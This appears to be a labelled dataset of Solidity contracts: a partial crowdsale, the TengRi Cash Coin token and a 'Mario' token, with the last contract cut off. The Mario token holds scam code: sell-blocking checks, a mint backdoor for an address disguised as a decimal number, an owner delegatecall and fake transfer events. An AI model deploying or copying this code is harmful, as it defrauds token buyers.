using SafeMath for uint256;
enum TokenSaleType {round1, round2}
TokenSaleType public TokenSale = TokenSaleType.round2;
enum Roles {beneficiary, accountant, manager, observer, bounty, advisers, team, founders, fund, fees, players, airdrop, referrals}
Creator public creator;
bool creator2;
bool isBegin=false;
Token public token;
RefundVault public vault;
PeriodicAllocation public allocation;
AllocationQueue public allocationQueue;
bool public isFinalized;
bool public isInitialized;
bool public isPausedCrowdsale;
bool public chargeBonuses;
address[13] public wallets = [
0x4e82764a0be4E0859e87cD47eF348e8D892C2567,
0xD29f0aE1621F4Be48C4DF438038E38af546DA498,
msg.sender,
0x27609c2e3d9810FdFCe157F2c1d87b717d0b0C10,
0xd7AC0393e2B29D8aC6221CF69c27171aba6278c4,
0x765f60E314766Bc25eb2a9F66991Fe867D42A449,
0xF9f0c53c07803a2670a354F3de88482393ABdBac,
0x4816b3bA11477e42A81FffA8a4e376e4D1a7f007,
0xe3C02072f8145DabCd7E7fe769ba1E3e73688ECc,
0xEB29e654AFF7658394C9d413dDC66711ADD44F59,
0x6faEc0c1ff412Fd041aB30081Cae677B362bd3c1,
0x7AA186f397dB8aE1FB80897e4669c1Ea126BA788,
0xAC26988d1573FC6626069578E6A5a4264F76f0C5
];
struct Bonus {
uint256 value;
uint256 procent;
}
struct Profit {
uint256 percent;
uint256 duration;
}
Bonus[] public bonuses;
Profit[] public profits;
uint256 public startTime= 1547197200;
uint256 public stopTime= 0;
uint256 public rate = 25000 ether;
uint256 public exchange = 150 ether;
uint256 public softCap = 16133 ether;
uint256 public hardCap = 63333 ether;
uint256 public overLimit = 20 ether;
uint256 public minPay = 71 finney;
uint256 public maxAllProfit = 30;
uint256 public ethWeiRaised;
uint256 public nonEthWeiRaised;
uint256 public weiRound1;
uint256 public tokenReserved;
uint256 public totalSaledToken;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
event Initialized();
function Crowdsale(Creator _creator) public
{
creator2=true;
creator=_creator;
}
function onlyAdmin(bool forObserver) internal view {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender ||
forObserver==true && wallets[uint8(Roles.observer)] == msg.sender);
}
function begin() internal
{
if (isBegin) return;
isBegin=true;
token = creator.createToken();
allocation = creator.createPeriodicAllocation(token);
allocationQueue = creator.createAllocationQueue(token);
if (creator2) {
vault = creator.createRefund();
}
token.setUnpausedWallet(wallets[uint8(Roles.accountant)], true);
token.setUnpausedWallet(wallets[uint8(Roles.manager)], true);
token.setUnpausedWallet(wallets[uint8(Roles.bounty)], true);
token.setUnpausedWallet(wallets[uint8(Roles.advisers)], true);
token.setUnpausedWallet(wallets[uint8(Roles.observer)], true);
token.setUnpausedWallet(wallets[uint8(Roles.players)], true);
token.setUnpausedWallet(wallets[uint8(Roles.airdrop)], true);
token.setUnpausedWallet(wallets[uint8(Roles.fund)], true);
token.setUnpausedWallet(wallets[uint8(Roles.founders)], true);
token.setUnpausedWallet(wallets[uint8(Roles.referrals)], true);
token.setUnpausedWallet(allocation, true);
token.setUnpausedWallet(allocationQueue, true);
bonuses.push(Bonus(71 ether, 30));
profits.push(Profit(15,2 days));
profits.push(Profit(10,2 days));
profits.push(Profit(5,4 days));
}
function privateMint(uint256 _amount) public {
onlyAdmin(false);
require(stopTime == 0);
uint256 weiAmount = _amount.mul(1 ether).div(rate);
bool withinCap = weiAmount <= hardCap.sub(weiRaised()).add(overLimit);
require(withinCap);
begin();
ethWeiRaised = ethWeiRaised.add(weiAmount);
token.mint(wallets[uint8(Roles.accountant)],_amount);
systemWalletsMint(_amount);
}
function totalSupply() external view returns (uint256){
return token.totalSupply();
}
function getTokenSaleType() external view returns(string){
return (TokenSale == TokenSaleType.round1)?'round1':'round2';
}
function forwardFunds() internal {
if(address(vault) != 0x0){
vault.deposit.value(msg.value)(msg.sender);
}else {
if(address(this).balance > 0){
wallets[uint8(Roles.beneficiary)].transfer(address(this).balance);
}
}
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = (now > startTime && stopTime == 0);
bool nonZeroPurchase = msg.value >= minPay;
bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit);
return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised() >= hardCap;
return (stopTime > 0 || capReached) && isInitialized;
}
function finalize() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || !goalReached());
require(!isFinalized);
require(hasEnded() || ((wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender) && goalReached()));
isFinalized = true;
finalization();
emit Finalized();
}
function finalization() internal {
if (stopTime == 0) {
stopTime = now;
}
if (goalReached()) {
if(address(vault) != 0x0){
vault.close(wallets[uint8(Roles.beneficiary)], wallets[uint8(Roles.fees)], ethWeiRaised.mul(7).div(100));
}
if (tokenReserved > 0) {
token.mint(wallets[uint8(Roles.accountant)],tokenReserved);
tokenReserved = 0;
}
if (TokenSale == TokenSaleType.round1) {
isInitialized = false;
isFinalized = false;
TokenSale = TokenSaleType.round2;
weiRound1 = weiRaised();
ethWeiRaised = 0;
nonEthWeiRaised = 0;
}
else
{
chargeBonuses = true;
totalSaledToken = token.totalSupply();
}
}
else if (address(vault) != 0x0)
{
vault.enableRefunds();
}
}
function finalize2() public {
onlyAdmin(false);
require(chargeBonuses);
chargeBonuses = false;
allocation.addShare(wallets[uint8(Roles.players)], 7, 7, 30 days);
allocation.setUnlockStart(now);
}
function initialize() public {
onlyAdmin(false);
require(!isInitialized);
begin();
require(now <= startTime);
initialization();
emit Initialized();
isInitialized = true;
}
function initialization() internal {
if (address(vault) != 0x0 && vault.state() != RefundVault.State.Active){
vault.restart();
}
}
function stop() public {
onlyAdmin(false);
require(stopTime == 0 && now > startTime);
stopTime = now;
}
function claimRefund() external {
require(address(vault) != 0x0);
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised() >= softCap;
}
function setup(uint256 _startTime, uint256 _softCap, uint256 _hardCap,
uint256 _rate, uint256 _exchange,
uint256 _maxAllProfit, uint256 _overLimit, uint256 _minPay,
uint256[] _durationTB , uint256[] _percentTB, uint256[] _valueVB, uint256[] _percentVB) public
{
onlyAdmin(false);
require(!isInitialized);
begin();
require(now <= _startTime);
startTime = _startTime;
require(_softCap <= _hardCap);
softCap = _softCap;
hardCap = _hardCap;
require(_rate > 0);
rate = _rate;
overLimit = _overLimit;
minPay = _minPay;
exchange = _exchange;
maxAllProfit = _maxAllProfit;
require(_valueVB.length == _percentVB.length);
bonuses.length = _valueVB.length;
for(uint256 i = 0; i < _valueVB.length; i++){
bonuses[i] = Bonus(_valueVB[i],_percentVB[i]);
}
require(_percentTB.length == _durationTB.length);
profits.length = _percentTB.length;
for( i = 0; i < _percentTB.length; i++){
profits[i] = Profit(_percentTB[i],_durationTB[i]);
}
}
function weiRaised() public constant returns(uint256){
return ethWeiRaised.add(nonEthWeiRaised);
}
function weiTotalRaised() external constant returns(uint256){
return weiRound1.add(weiRaised());
}
function getProfitPercent() public constant returns (uint256){
return getProfitPercentForData(now);
}
function getProfitPercentForData(uint256 _timeNow) public constant returns (uint256){
uint256 allDuration;
for(uint8 i = 0; i < profits.length; i++){
allDuration = allDuration.add(profits[i].duration);
if(_timeNow < startTime.add(allDuration)){
return profits[i].percent;
}
}
return 0;
}
function getBonuses(uint256 _value) public constant returns (uint256,uint256){
if(bonuses.length == 0 || bonuses[0].value > _value){
return (0,0);
}
uint16 i = 1;
for(i; i < bonuses.length; i++){
if(bonuses[i].value > _value){
break;
}
}
return (bonuses[i-1].value,bonuses[i-1].procent);
}
function tokenUnpause() external {
require(wallets[uint8(Roles.manager)] == msg.sender
|| (stopTime != 0 && now > stopTime.add(USER_UNPAUSE_TOKEN_TIMEOUT) && TokenSale == TokenSaleType.round2 && isFinalized && goalReached()));
token.setPause(false);
}
function tokenPause() public {
onlyAdmin(false);
require(!isFinalized);
token.setPause(true);
}
function setCrowdsalePause(bool mode) public {
onlyAdmin(false);
isPausedCrowdsale = mode;
}
function moveTokens(address _migrationAgent) public {
onlyAdmin(false);
token.setMigrationAgent(_migrationAgent);
}
function migrateAll(address[] _holders) public {
onlyAdmin(false);
token.migrateAll(_holders);
}
function changeWallet(Roles _role, address _wallet) external
{
require(
(msg.sender == wallets[uint8(_role)] && _role != Roles.observer)
||
(msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer) && _role != Roles.fees )
);
wallets[uint8(_role)] = _wallet;
}
function resetAllWallets() external{
address _beneficiary = wallets[uint8(Roles.beneficiary)];
require(msg.sender == _beneficiary);
for(uint8 i = 0; i < wallets.length; i++){
if(uint8(Roles.fees) == i || uint8(Roles.team) == i)
continue;
wallets[i] = _beneficiary;
}
token.setUnpausedWallet(_beneficiary, true);
}
function massBurnTokens(address[] _beneficiary, uint256[] _value) external {
onlyAdmin(false);
require(stopTime == 0 || stopTime.add(BURN_TOKENS_TIME) > now);
require(_beneficiary.length == _value.length);
for(uint16 i; i<_beneficiary.length; i++) {
token.burn(_beneficiary[i],_value[i]);
}
}
function distructVault() public {
require(address(vault) != 0x0);
require(stopTime != 0 && !goalReached());
if (wallets[uint8(Roles.beneficiary)] == msg.sender && (now > startTime.add(FORCED_REFUND_TIMEOUT1))) {
vault.del(wallets[uint8(Roles.beneficiary)]);
}
if (wallets[uint8(Roles.manager)] == msg.sender && (now > startTime.add(FORCED_REFUND_TIMEOUT2))) {
vault.del(wallets[uint8(Roles.manager)]);
}
}
function paymentsInOtherCurrency(uint256 _token, uint256 _value) public {
onlyAdmin(true);
bool withinPeriod = (now >= startTime && stopTime == 0);
bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit);
require(withinPeriod && withinCap && isInitialized);
nonEthWeiRaised = _value;
tokenReserved = _token;
}
function queueMint(address _beneficiary, uint256 _value, uint256 _freezeTime) internal {
token.mint(address(allocationQueue), _value);
allocationQueue.addShare(_beneficiary, _value, _freezeTime);
}
function systemWalletsMint(uint256 tokens) internal {
queueMint(wallets[uint8(Roles.airdrop)], tokens.mul(4).div(50), 60 days);
token.mint(address(allocation), tokens.mul(7).div(50));
queueMint(wallets[uint8(Roles.advisers)], tokens.mul(4).div(50), 30 days);
queueMint(wallets[uint8(Roles.team)], tokens.mul(7).div(2).div(50), 6 * 30 days);
queueMint(wallets[uint8(Roles.team)], tokens.mul(7).div(2).div(50), 365 days);
queueMint(wallets[uint8(Roles.bounty)], tokens.mul(1).div(50), 60 days);
queueMint(wallets[uint8(Roles.founders)], tokens.mul(11).div(2).div(50), 6 * 30 days);
queueMint(wallets[uint8(Roles.founders)], tokens.mul(11).div(2).div(50), 365 days);
queueMint(wallets[uint8(Roles.fund)], tokens.mul(12).div(2).div(50), 2 * 30 days);
queueMint(wallets[uint8(Roles.fund)], tokens.mul(12).div(2).div(50), 365 days);
token.mint(wallets[uint8(Roles.referrals)], tokens.mul(4).div(50));
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 ProfitProcent = getProfitPercent();
uint256 value;
uint256 percent;
(value, percent) = getBonuses(weiAmount);
Bonus memory curBonus = Bonus(value, percent);
uint256 bonus = curBonus.procent;
uint256 totalProfit = (ProfitProcent < bonus) ? bonus : ProfitProcent;
totalProfit = (totalProfit > maxAllProfit) ? maxAllProfit : totalProfit;
uint256 tokens = weiAmount.mul(rate).mul(totalProfit.add(100)).div(100 ether);
ethWeiRaised = ethWeiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
systemWalletsMint(tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function () public payable {
buyTokens(msg.sender);
}
} | 1 | 2,794 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract IndividualLockableToken is ERC20Pausable, Ownable{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balanceOf(_holder) >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balanceOf(_holder);
return balanceOf(_holder).sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseAllowance(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowance(msg.sender, _spender).add(_addedValue));
return super.increaseAllowance(_spender, _addedValue);
}
function decreaseAllowance(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowance(msg.sender, _spender);
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseAllowance(_spender, _subtractedValue);
}
}
contract TengRiCashCoin is IndividualLockableToken {
using SafeMath for uint256;
string public constant name = "TengRi Cash Coin";
string public constant symbol = "TERI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 33300000000 * (10 ** uint256(decimals));
constructor()
public
{
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0 | 1,089 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Mario {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,273 |
pragma solidity ^0.4.21;
contract Owned {
address owner;
uint last_blocknumber;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
